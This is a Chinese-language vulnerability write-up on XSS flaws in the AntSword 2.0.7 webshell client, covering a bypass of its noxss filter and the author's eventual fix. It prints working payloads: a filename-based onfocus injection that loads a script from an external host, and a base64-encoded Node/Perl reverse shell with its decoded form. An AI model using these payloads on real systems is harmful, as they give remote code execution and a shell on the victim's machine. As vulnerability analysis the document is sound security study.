其次是蚁剑,版本为2.0.7
加载器版本为2.0.1(目前较新的是4.0.3,无法加载2.1.0以前版本)
Xss的点在报错信息处,当连接错误时,报错信息回弹并且使用html的格式解析,并且此处没有进行内容过滤,导致了xss漏洞。
当然本身antSword有内置的过滤xss的函数,noxss。
const antSword = window.antSword = { /** * XSS过滤函数 * @param {String} html 过滤前字符串 * @param {Boolean} wrap 是否过滤换行 * @return {String} 过滤后的字符串 */ noxss: (html = ‘‘, wrap = true) => { let _html = String(html) .replace(/&/g, "&") .replace(/>/g, ">") .replace(/</g, "<") .replace(/"/g, """); if (wrap) { _html = _html.replace(/\n/g, ‘<br/>‘); } return _html; },
这也是第一次补丁的修补方式,调用了noxss进行内容过滤。
显然,过滤时没有考虑单引号与问号,可以用于过滤绕过。
查资料时候看到了师傅找到的利用单引号进行闭合的点,进行了一次函数拼接,导致了xss问题。
this.obj.innerHTML = "<input class=‘dhxtoolbar_input‘ type=‘text‘ style=‘width:"+this.obj.w+"px;‘"+(data.value!=null?" value=‘"+data.value+"‘":"")+">";
对文件夹读取时候产生的xss。
所以攻击方式就是将我们的文件路径名称改为payload。
又由于文件名限制,此处改为$.getScript引入外部脚本,从而实现较大的payload攻击。
‘autofocus onfocus=$.getScript(unescape(‘http%3A%2f%2fxxx.in%2f2Yuo%0A‘));‘
师傅还用了自动触发实现0check,学到了!
两个最终的攻击payload相同。
eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())
base64解码:
require(‘child_process‘).exec(‘perl -e ‘use Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};‘‘,(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
最终antSword作者的解决方式为,禁止了使用html格式的解析。